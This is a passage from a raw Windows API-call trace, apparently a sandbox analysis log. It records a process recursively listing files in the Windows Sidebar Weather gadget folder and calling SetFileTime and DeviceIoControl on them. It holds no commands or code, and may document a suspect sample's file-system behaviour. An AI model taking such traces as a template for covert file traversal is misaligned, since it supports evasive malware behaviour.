ftLastWriteTime.dwLowDateTime=0xcb1be4bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_hov.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaecb3a6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaecb3a6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1e461c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb11, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_rest.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaef1505, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaef1505, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1e461c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_down.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf17664, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf17664, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb20a77c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_hov.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf17664, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf17664, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb256a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb46, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_rest.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf3d7c3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf3d7c3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb256a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_down.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf3d7c3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf3d7c3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc05, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_hov.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf89a81, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf89a81, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb58, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_rest.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf89a81, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf89a81, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_down.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbafafbe0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbafafbe0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb31511c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_hov.png", cAlternateFileName="")) returned 1 [0090.373] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbafafbe0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbafafbe0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb31511c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba6, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_rest.png", cAlternateFileName="")) returned 1 [0090.373] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbade6b6c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbade6b6c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb33b27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 1 [0090.373] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbade6b6c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbade6b6c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb33b27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 0 [0090.373] GetLastError () returned 0x12 [0090.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0090.373] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340d08) returned 1 [0090.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340c00) returned 1 [0090.373] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbad82b5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbad82b5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb3d37fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.373] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbad82b5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbad82b5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb3d37fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.373] GetLastError () returned 0x12 [0090.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131d9e0) returned 1 [0090.373] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ed78) returned 1 [0090.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dae8) returned 1 [0090.374] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 1 [0090.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.375] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.375] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.376] NtClose (Handle=0x164) returned 0x0 [0090.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.377] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0090.377] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.377] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf39e8c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf39e8c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd379e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dae8 [0090.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f36b8 [0090.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ed78 [0090.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9340) returned 0x132a698 [0090.379] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.379] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd6739fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbd6739fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbd6739fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f36d8 [0090.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131d9e0 [0090.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.381] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0090.381] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf13d2d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf13d2d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbf1ad59c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f36f8 [0090.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340c00 [0090.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.382] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf13d2d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf13d2d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbf1ad59c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.382] GetLastError () returned 0x12 [0090.382] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0090.382] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.383] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.383] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf39e8c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf39e8c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd379e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.383] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340d08 [0090.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.384] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.384] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.385] NtClose (Handle=0x164) returned 0x0 [0090.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340d08) returned 1 [0090.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340d08 [0090.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0090.386] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0090.386] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.386] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.386] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13426d0 [0090.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3718 [0090.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13427d8 [0090.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.388] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.389] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 